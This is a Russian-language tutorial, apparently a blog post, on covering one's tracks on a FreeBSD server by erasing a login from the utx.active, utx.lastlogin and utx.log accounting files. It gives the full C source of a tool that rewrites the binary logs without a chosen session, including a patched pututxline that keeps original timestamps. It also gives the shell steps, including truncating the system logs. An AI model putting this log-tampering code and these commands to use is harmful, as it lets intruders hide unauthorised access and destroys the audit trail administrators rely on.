А был ли who на сервере?

Тяпница… тринадцатое… всё важное решили оставить на понедельник, а потому сделаю какую-нибудь гадость…
В связи с появивишимся на хабре пересказом статьи решил немного отбалансировать данное руководство. Скрыть своё посещение, конечно, не совсем тривиально, но особых сложностей это не составляет.
Итак, задача:
Войти на сервер, выполнить некие действия и «подмести» за собой.

Здесь и далее считаем, что никаких дополнительных инструментов слежения (за исключением «по умолчанию») в системе не используется и мы знаем пароль root’a.
39073c45922649a58baa934317068359.png
С чем работаем:

# uname -ori
FreeBSD 10.0-RELEASE GENERIC

# `echo $SHELL` --version
tcsh 6.18.01 (Astron)


Описываемое ниже несколько диссонирует с упоминаемой выше статьей, т.к. оная в первую очередь ориентирована на Linux-пользователей, но общие принципы теже и после перехода во FreeBSD (c 9.0) на хранение данных в utmpx родство стало ближе.

Поехали…
Данные о посещениях хранятся в 3 файлах:

Активные пользователи — /var/run/utx.active (заменил в 9.0 utmp)
Последние посещения — /var/log/utx.lastlogin (заменил lastlog)
Ну и полный лог — /var/log/utx.log (заменил wtmp)

И вот мы вошли:

# getent utmpx active
getent utmpx active
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1412600841.811588 -- Mon Oct  6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"


Считаем, что тот самый вход от которого желаем избавиться:

[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"

Т.к. наш текущий вход виден по

# who
who
root             ttyv1        Jul 19 11:06
Alex             pts/1        Nov 12 09:55 (10.3.1.15)
Alex             pts/0        Nov 13 13:25 (108.182.182.209)


Начинаем с него

# utx rm 8084832f30000000
utx rm 8084832f30000000


Так лучше

# who
who
root             ttyv1        Jul 19 11:06
Alex             pts/1        Nov 12 09:55 (10.3.1.15)

# getent utmpx active
getent utmpx active
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"
[1412600841.811588 -- Mon Oct  6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"

Надо отметить, что это решение об удалении активной сессии не было идеальным и небольшой след о ней остался:

[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"


Как удалять «правильно» рассмотрим ниже.

Напакостив мы решаем покинуть систему
Что же осталось в логах

getent
# getent utmpx lastlogin
getent utmpx lastlogin
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1412600841.811588 -- Mon Oct  6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"

# getent utmpx log
getent utmpx log
[1446494176.682516 -- Mon Nov  2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1446498691.474026 -- Tue Nov  3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263"
[1446614492.857275 -- Wed Nov  4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1446614507.736041 -- Wed Nov  4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491"
[1446698146.439426 -- Thu Nov  5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1446706228.892627 -- Thu Nov  5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858"
[1446710834.014993 -- Thu Nov  5 11:07:14 2015] system shutdown
[1446710906.311914 -- Thu Nov  5 11:08:26 2015] system boot
[1446710938.817058 -- Thu Nov  5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1446721174.063221 -- Thu Nov  5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1446815955.085182 -- Fri Nov  6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313"
[1446906334.551710 -- Sat Nov  7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1446912588.809728 -- Sat Nov  7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789"
[1447045707.708080 -- Mon Nov  9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447045911.315244 -- Mon Nov  9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008"
[1447052181.641530 -- Mon Nov  9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441"
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422"
[1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" pid="1644"
[1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685"
[1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018"
[1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"



Все эти данные хранятся в бинарном виде в utmpx стуктурах. Таким образом, чтобы удалить информацию о посещении необходимо:
— либо удалить сами файлы с логами;
— либо забить их нулями в hex-редакторе;
— либо отредактировать бинарный лог удалив из него запись о нашем посещении;
Два первых способа, конечно, удалят данные о посещении, но дадут понять внимательному админу, что дело нечисто. Чтож пойдём самым сложным путём.
Стуктура utmpx представвляет собой

           struct utmpx {
                   short           ut_type;    /* Type of entry. */
                   struct timeval  ut_tv;      /* Time entry was made. */
                   char            ut_id[];    /* Record identifier. */
                   pid_t           ut_pid;     /* Process ID. */
                   char            ut_user[];  /* User login name. */
                   char            ut_line[];  /* Device name. */
                   char            ut_host[];  /* Remote hostname. */
           };



При работе с accounting базами данной структурой оперируют endutxent, getutxent, getutxid, getutxline, getutxuser, pututxline, setutxdb, setutxent.
Нас интересуют две функции:
getutxent — получает данные из базы в виде utmpx
pututxline — делает запись в базу

Пробежимся по базе, считаем все данные и создадим новую копию базы исключив из неё наши посещения?

         while ((ut = getutxent()) != NULL)
                {
                        utmpxprint(ut);
                        if(ut->ut_pid != 14281) pututxline(ut);
                }


И тут нас ожидает большой УПС:

УПС
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="61263"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="79491"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="83858"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system shutdown
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1313"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1789"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="19008"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f33000000" pid="23441"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1422"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1644"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="3685"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="4018"
[1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0"




Запись 14281 исчезла, но все записи внеслись в целевую базу с текущим системным временем!
Почему же так происходит?

Идём в исходники pututxline.c
и видим:

struct utmpx *
pututxline(const struct utmpx *utmpx)
{
        struct futx fu;
    ...
        utx_to_futx(utmpx, &fu);
    ...
        bad |= utx_log_add(&fu);
    ...
}


т.е. перед записью наша структура utmpx преобразуется в некую futx (зачем непонятно т.к. структура ничем существенным не отличается, подозреваю, что «память» о прошлых форматах)
Самое интересное происходит при преобразовании параметра времени
utmpx ut_tv в futx fu_tv

#define  UTOF_TV(fu) do { \
        struct timeval tv;                                              \
        gettimeofday(&tv, NULL);                                        \
        (fu)->fu_tv = htobe64((uint64_t)tv.tv_sec * 1000000 +                \
            (uint64_t)tv.tv_usec);                                      \
} while (0)

gettimeofday (&tv, NULL);  — ЗАЧЕМ?!, если я передаю в качестве аргумента уже заполненную временем стурктуру?
Приводим к надлежащему виду:

#define  UTOF_TV(ut, fu) do { \
        (fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 +    \
            (uint64_t)(ut)->ut_tv.tv_usec);                          \
} while (0)



Листинги того что получилось ниже:

getent.c
#include 
__FBSDID("$FreeBSD: getent editor v 0.0.a $");

#include 
#include 
#include 
#include 
#include 
#include 
#include            /* for INET6_ADDRSTRLEN */
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "utmpx.h"
#include "pututxline.c"

static int      usage(void);
static int      parsenum(const char *, unsigned long *);
static int      utmpx(int, char *[]);

enum {
        RV_OK           = 0,
        RV_USAGE        = 1,
        RV_NOTFOUND     = 2,
        RV_NOENUM       = 3
};

static struct getentdb {
        const char      *name;
        int             (*callback)(int, char *[]);
} databases[] = {
        {       "utmpx",      utmpx,          },
        {       NULL,           NULL,           },
};

int
main(int argc, char *argv[])
{
        struct getentdb *curdb;

        setprogname(argv[0]);

        if (argc < 2)
                usage();
        for (curdb = databases; curdb->name != NULL; curdb++) {
                if (strcmp(curdb->name, argv[1]) == 0) {
                        exit(curdb->callback(argc, argv));
                }
        }
        fprintf(stderr, "Unknown database: %s\n", argv[1]);
        usage();
        /* NOTREACHED */
        return RV_USAGE;
}

static int
usage(void)
{
        struct getentdb *curdb;

        fprintf(stderr, "Usage: %s database [key ...]\n",
            getprogname());
        fprintf(stderr, "       database may be one of:\n\t");
        for (curdb = databases; curdb->name != NULL; curdb++) {
                fprintf(stderr, " %s", curdb->name);
        }
        fprintf(stderr, "\n");
        exit(RV_USAGE);
        /* NOTREACHED */
}


/*
 * printfmtstrings --
 *      vprintf(format, ...),
 *      then the aliases (beginning with prefix, separated by sep),
 *      then a newline
 */
static void
printfmtstrings(char *strings[], const char *prefix, const char *sep,
        const char *fmt, ...)
{
        va_list         ap;
        const char      *curpref;
        int             i;

        va_start(ap, fmt);
        vprintf(fmt, ap);

        curpref = prefix;
        for (i = 0; strings[i] != NULL; i++) {
                printf("%s%s", curpref, strings[i]);
                curpref = sep;
        }
        printf("\n");
        va_end(ap);
}


/*
 * utmpx
 */

#define UTMPXPRINTID do {                       \
        size_t i;                               \
        for (i = 0; i < sizeof ut->ut_id; i++)    \
                printf("%02hhx", ut->ut_id[i]);    \
} while (0)

static void
utmpxprint(const struct utmpx *ut)
{

        if (ut->ut_type == EMPTY)
                return;
        
        printf("[%jd.%06u -- %.24s] ",
            (intmax_t)ut->ut_tv.tv_sec, (unsigned int)ut->ut_tv.tv_usec,
            ctime(&ut->ut_tv.tv_sec));

        switch (ut->ut_type) {
        case BOOT_TIME:
                printf("system boot\n");
                return;
        case SHUTDOWN_TIME:
                printf("system shutdown\n");
                return;
        case OLD_TIME:
                printf("old system time\n");
                return;
        case NEW_TIME:
                printf("new system time\n");
                return;
        case USER_PROCESS:
                printf("user process: id=\"");
                UTMPXPRINTID;
                printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n",
                    ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host);
                break;
        case INIT_PROCESS:
                printf("init process: id=\"");
                UTMPXPRINTID;
                printf("\" pid=\"%d\"\n", ut->ut_pid);
                break;
        case LOGIN_PROCESS:
                printf("login process: id=\"");
                UTMPXPRINTID;
                printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n",
                    ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host);
                break;
        case DEAD_PROCESS:
                printf("dead process: id=\"");
                UTMPXPRINTID;
                printf("\" pid=\"%d\"\n", ut->ut_pid);
                break;
        default:
                printf("unknown record type %hu\n", ut->ut_type);
                break;
        }
}

static int
utmpx(int argc, char *argv[])
{
        //const struct utmpx *ut;
        struct utmpx *ut;
        const char *file = NULL;
        int rv = RV_OK, db = 0;

        assert(argc > 1);
        assert(argv != NULL);

        if (argc == 3 || argc == 4 || argc == 5) {
                if (strcmp(argv[2], "active") == 0)
                        db = UTXDB_ACTIVE;
                else if (strcmp(argv[2], "lastlogin") == 0)
                        db = UTXDB_LASTLOGIN;
                else if (strcmp(argv[2], "log") == 0)
                        db = UTXDB_LOG;
                else
                        rv = RV_USAGE;
                if (argc == 4 || argc == 5)
                        file = argv[3];
        } else {
                rv = RV_USAGE;
        }

        if (rv == RV_USAGE) {
                fprintf(stderr,
                    "Usage: %s utmpx active | lastlogin | log [filename]\n",
                    getprogname());
        } else if (rv == RV_OK) {
                if (setutxdb(db, file) != 0)
                        return (RV_NOTFOUND);


                int ires = 0;
                printf("UTXDB_LOG result: [%d]\n", ires);
                if(argc == 5)
                {
                        while ((ut = getutxent()) != NULL)
                        {       
        
                                utmpxprint(ut);
        
                                //if(strcmp(ut->ut_host, "10.34.1.155") != 0)
                                //if(ut->ut_pid != 4373)
                                        if(ut->ut_pid != atoi(argv[4]))
                                        {
                                                pututxline(ut);
                                        }
                        }
                }
                else puts("ut_pid(argv[4]) needed!..");
                
                endutxent();
        }
        return (rv);
}


pututxline.c
#include 
__FBSDID("$FreeBSD: pututxline.c v 0.0.a $");

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "/usr/src/lib/libc/include/namespace.h"
#include "/usr/src/lib/libc/gen/utxdb.h"
#include "/usr/src/lib/libc/include/un-namespace.h"

//-----------------------------------------------------------------------------
#include 
#include 
#include 
//-----------------------------------------------------------------------------
#define UTOF_STRING(ut, fu, field) do { \
        strncpy((fu)->fu_ ## field, (ut)->ut_ ## field,           \
            MIN(sizeof (fu)->fu_ ## field, sizeof (ut)->ut_ ## field));   \
} while (0)
#define UTOF_ID(ut, fu) do { \
        memcpy((fu)->fu_id, (ut)->ut_id,                          \
            MIN(sizeof (fu)->fu_id, sizeof (ut)->ut_id));         \
} while (0)
#define UTOF_PID(ut, fu) do { \
        (fu)->fu_pid = htobe32((ut)->ut_pid);                             \
} while (0)
#define UTOF_TYPE(ut, fu) do { \
        (fu)->fu_type = (ut)->ut_type;                                    \
} while (0)
#define UTOF_TV(ut, fu) do { \
        (fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 +    \
            (uint64_t)(ut)->ut_tv.tv_usec);                          \
} while (0)
//-----------------------------------------------------------------------------
void
utx_to_futx(const struct utmpx *ut, struct futx *fu)
{

        memset(fu, 0, sizeof *fu);

        switch (ut->ut_type) {
        case BOOT_TIME:
        case OLD_TIME:
        case NEW_TIME:
        /* Extension: shutdown time. */
        case SHUTDOWN_TIME:
                break;
        case USER_PROCESS:
                UTOF_ID(ut, fu);
                UTOF_STRING(ut, fu, user);
                UTOF_STRING(ut, fu, line);
                /* Extension: host name. */
                UTOF_STRING(ut, fu, host);
                UTOF_PID(ut, fu);
                break;
        case INIT_PROCESS:
                UTOF_ID(ut, fu);
                UTOF_PID(ut, fu);
                break;
        case LOGIN_PROCESS:
                UTOF_ID(ut, fu);
                UTOF_STRING(ut, fu, user);
                UTOF_STRING(ut, fu, line);
                UTOF_PID(ut, fu);
                break;
        case DEAD_PROCESS:
                UTOF_ID(ut, fu);
                UTOF_PID(ut, fu);
                break;
        default:
                fu->fu_type = EMPTY;
                return;
        }

        UTOF_TYPE(ut, fu);
        UTOF_TV(ut, fu);
        //UTOF_TV(ut, fu);
}

//-----------------------------------------------------------------------------
#define FTOU_STRING(fu, ut, field) do { \
        strncpy((ut)->ut_ ## field, (fu)->fu_ ## field,           \
            MIN(sizeof (ut)->ut_ ## field - 1, sizeof (fu)->fu_ ## field)); \
} while (0)
#define FTOU_ID(fu, ut) do { \
        memcpy((ut)->ut_id, (fu)->fu_id,                          \
            MIN(sizeof (ut)->ut_id, sizeof (fu)->fu_id));         \
} while (0)
#define FTOU_PID(fu, ut) do { \
        (ut)->ut_pid = be32toh((fu)->fu_pid);                             \
} while (0)
#define FTOU_TYPE(fu, ut) do { \
        (ut)->ut_type = (fu)->fu_type;                                    \
} while (0)
#define FTOU_TV(fu, ut) do { \
        uint64_t t;                                                     \
        t = be64toh((fu)->fu_tv);                                    \
        (ut)->ut_tv.tv_sec = t / 1000000;                            \
        (ut)->ut_tv.tv_usec = t % 1000000;                           \
} while (0)
//-----------------------------------------------------------------------------

struct utmpx *
futx_to_utx(const struct futx *fu)
{
#ifdef __NO_TLS
        static struct utmpx *ut;
#else
        static _Thread_local struct utmpx *ut;
#endif

        if (ut == NULL) {
                ut = calloc(1, sizeof *ut);
                if (ut == NULL)
                        return (NULL);
        } else
                memset(ut, 0, sizeof *ut);

        switch (fu->fu_type) {
        case BOOT_TIME:
        case OLD_TIME:
        case NEW_TIME:
        /* Extension: shutdown time. */
        case SHUTDOWN_TIME:
                break;
        case USER_PROCESS:
                FTOU_ID(fu, ut);
                FTOU_STRING(fu, ut, user);
                FTOU_STRING(fu, ut, line);
                /* Extension: host name. */
                FTOU_STRING(fu, ut, host);
                FTOU_PID(fu, ut);
                break;
        case INIT_PROCESS:
                FTOU_ID(fu, ut);
                FTOU_PID(fu, ut);
                break;
        case LOGIN_PROCESS:
                FTOU_ID(fu, ut);
                FTOU_STRING(fu, ut, user);
                FTOU_STRING(fu, ut, line);
                FTOU_PID(fu, ut);
                break;
        case DEAD_PROCESS:
                FTOU_ID(fu, ut);
                FTOU_PID(fu, ut);
                break;
        default:
                ut->ut_type = EMPTY;
                return (ut);
        }

        FTOU_TYPE(fu, ut);
        FTOU_TV(fu, ut);
        return (ut);
}

//-----------------------------------------------------------------------------

static FILE *
futx_open(const char *file)
{
        FILE *fp;
        struct stat sb;
        int fd;

        fd = open(file, O_CREAT|O_RDWR|O_EXLOCK|O_CLOEXEC, 0644);
        if (fd < 0)
                return (NULL);

        /* Safety check: never use broken files. */
        if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0) {
                close(fd);
                errno = EFTYPE;
                return (NULL);
        }

        fp = fdopen(fd, "r+");
        if (fp == NULL) {
                close(fd);
                return (NULL);
        }
        return (fp);
}

static int
utx_active_add(const struct futx *fu)
{
        FILE *fp;
        struct futx fe;
        off_t partial;
        int error, ret;

        partial = -1;
        ret = 0;

        /*
         * Register user login sessions.  Overwrite entries of sessions
         * that have already been terminated.
         */
        fp = futx_open(_PATH_UTX_ACTIVE);
        if (fp == NULL)
                return (-1);
        while (fread(&fe, sizeof(fe), 1, fp) == 1) {
                switch (fe.fu_type) {
                case BOOT_TIME:
                        /* Leave these intact. */
                        break;
                case USER_PROCESS:
                case INIT_PROCESS:
                case LOGIN_PROCESS:
                case DEAD_PROCESS:
                        /* Overwrite when ut_id matches. */
                        if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) ==
                            0) {
                                ret = fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR);
                                goto exact;
                        }
                        if (fe.fu_type != DEAD_PROCESS)
                                break;
                        /* FALLTHROUGH */
                default:
                        /* Allow us to overwrite unused records. */
                        if (partial == -1) {
                                partial = ftello(fp);
                                /*
                                 * Distinguish errors from valid values so we
                                 * don't overwrite good data by accident.
                                 */
                                if (partial != -1)
                                        partial -= (off_t)sizeof(fe);
                        }
                        break;
                }
        }

        /*
         * No exact match found.  Use the partial match.  If no partial
         * match was found, just append a new record.
         */
        if (partial != -1)
                ret = fseeko(fp, partial, SEEK_SET);
exact:
        if (ret == -1)
                error = errno;
        else if (fwrite(fu, sizeof(*fu), 1, fp) < 1)
                error = errno;
        else
                error = 0;
        fclose(fp);
        if (error != 0)
                errno = error;
        return (error == 0 ? 0 : 1);
}

static int
utx_active_remove(struct futx *fu)
{
        FILE *fp;
        struct futx fe;
        int error, ret;

        /*
         * Remove user login sessions, having the same ut_id.
         */
        fp = futx_open(_PATH_UTX_ACTIVE);
        if (fp == NULL)
                return (-1);
        error = ESRCH;
        ret = -1;
        while (fread(&fe, sizeof(fe), 1, fp) == 1 && ret != 0)
                switch (fe.fu_type) {
                case USER_PROCESS:
                case INIT_PROCESS:
                case LOGIN_PROCESS:
                        if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) != 0)
                                continue;

                        /* Terminate session. */
                        if (fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR) == -1)
                                error = errno;
                        else if (fwrite(fu, sizeof(*fu), 1, fp) < 1)
                                error = errno;
                        else
                                ret = 0;

                }

        fclose(fp);
        if (ret != 0)
                errno = error;
        return (ret);
}

static void
utx_active_init(const struct futx *fu)
{
        int fd;

        /* Initialize utx.active with a single BOOT_TIME record. */
        fd = open(_PATH_UTX_ACTIVE, O_CREAT|O_RDWR|O_TRUNC, 0644);
        if (fd < 0)
                return;
        write(fd, fu, sizeof(*fu));
        close(fd);
}

static void
utx_active_purge(void)
{

        truncate(_PATH_UTX_ACTIVE, 0);
}

static int
utx_lastlogin_add(const struct futx *fu)
{
        struct futx fe;
        FILE *fp;
        int error, ret;

        ret = 0;

        /*
         * Write an entry to lastlogin.  Overwrite the entry if the
         * current user already has an entry.  If not, append a new
         * entry.
         */
        fp = futx_open(_PATH_UTX_LASTLOGIN);
        if (fp == NULL)
                return (-1);
        while (fread(&fe, sizeof fe, 1, fp) == 1) {
                if (strncmp(fu->fu_user, fe.fu_user, sizeof fe.fu_user) != 0)
                        continue;

                /* Found a previous lastlogin entry for this user. */
                ret = fseeko(fp, -(off_t)sizeof fe, SEEK_CUR);
                break;
        }
        if (ret == -1)
                error = errno;
        else if (fwrite(fu, sizeof *fu, 1, fp) < 1) {
                error = errno;
                ret = -1;
        }
        fclose(fp);
        if (ret == -1)
                errno = error;
        return (ret);
}

static void
utx_lastlogin_upgrade(void)
{
        struct stat sb;
        int fd;

        fd = open(_PATH_UTX_LASTLOGIN, O_RDWR|O_CLOEXEC, 0644);
        if (fd < 0)
                return;

        /*
         * Truncate broken lastlogin files.  In the future we should
         * check for older versions of the file format here and try to
         * upgrade it.
         */
        if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0)
                ftruncate(fd, 0);
        close(fd);
}

static int
utx_log_add(const struct futx *fu)
{
        struct iovec vec[2];
        int error, fd;
        uint16_t l;

        /*
         * Append an entry to the log file.  We only need to append
         * records to this file, so to conserve space, trim any trailing
         * zero-bytes.  Prepend a length field, indicating the length of
         * the record, excluding the length field itself.
         */
        for (l = sizeof(*fu); l > 0 && ((const char *)fu)[l - 1] == '\0'; l--) ;
        vec[0].iov_base = &l;
        vec[0].iov_len = sizeof(l);
        vec[1].iov_base = __DECONST(void *, fu);
        vec[1].iov_len = l;
        l = htobe16(l);

        fd = open(_PATH_UTX_LOG, O_CREAT|O_WRONLY|O_APPEND|O_CLOEXEC, 0644);
        if (fd < 0)
                return (-1);
        if (writev(fd, vec, 2) == -1)
                error = errno;
        else
                error = 0;
        close(fd);
        if (error != 0)
                errno = error;
        return (error == 0 ? 0 : 1);
}

struct utmpx *
pututxline(const struct utmpx *utmpx)
{
        struct futx fu;
        int bad;

        bad = 0;

        utx_to_futx(utmpx, &fu);

        switch (fu.fu_type) {
        case BOOT_TIME:
                utx_active_init(&fu);
                utx_lastlogin_upgrade();
                break;
        case SHUTDOWN_TIME:
                utx_active_purge();
                break;
        case OLD_TIME:
        case NEW_TIME:
                break;
        case USER_PROCESS:
                bad |= utx_active_add(&fu);
                bad |= utx_lastlogin_add(&fu);
                break;
#if 0 /* XXX: Are these records of any use to us? */
        case INIT_PROCESS:
        case LOGIN_PROCESS:
                bad |= utx_active_add(&fu);
                break;
#endif
        case DEAD_PROCESS:
                /*
                 * In case writing a logout entry fails, never attempt
                 * to write it to utx.log.  The logout entry's ut_id
                 * might be invalid.
                 */
                if (utx_active_remove(&fu) != 0)
                        return (NULL);
                break;
        default:
                errno = EINVAL;
                return (NULL);
        }

        bad |= utx_log_add(&fu);
        return (bad ? NULL : futx_to_utx(&fu));
}



Собираем

# clang getent.c -o gtnt

Копируем базы и очищаем место для записи

# cp /var/log/utx.* /tmp/
# echo -n > /var/log/utx.log
# echo -n > /var/log/utx.lastlogin


удаляем записи

# ./gtnt utmpx lastlogin /tmp/utx.lastlogin 14281
# ./gtnt utmpx log /tmp/utx.log 14281

Результаты
# getent utmpx lastlogin
getent utmpx lastlogin
[1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host=""
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1412600841.811588 -- Mon Oct  6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23"


# getent utmpx log
getent utmpx log
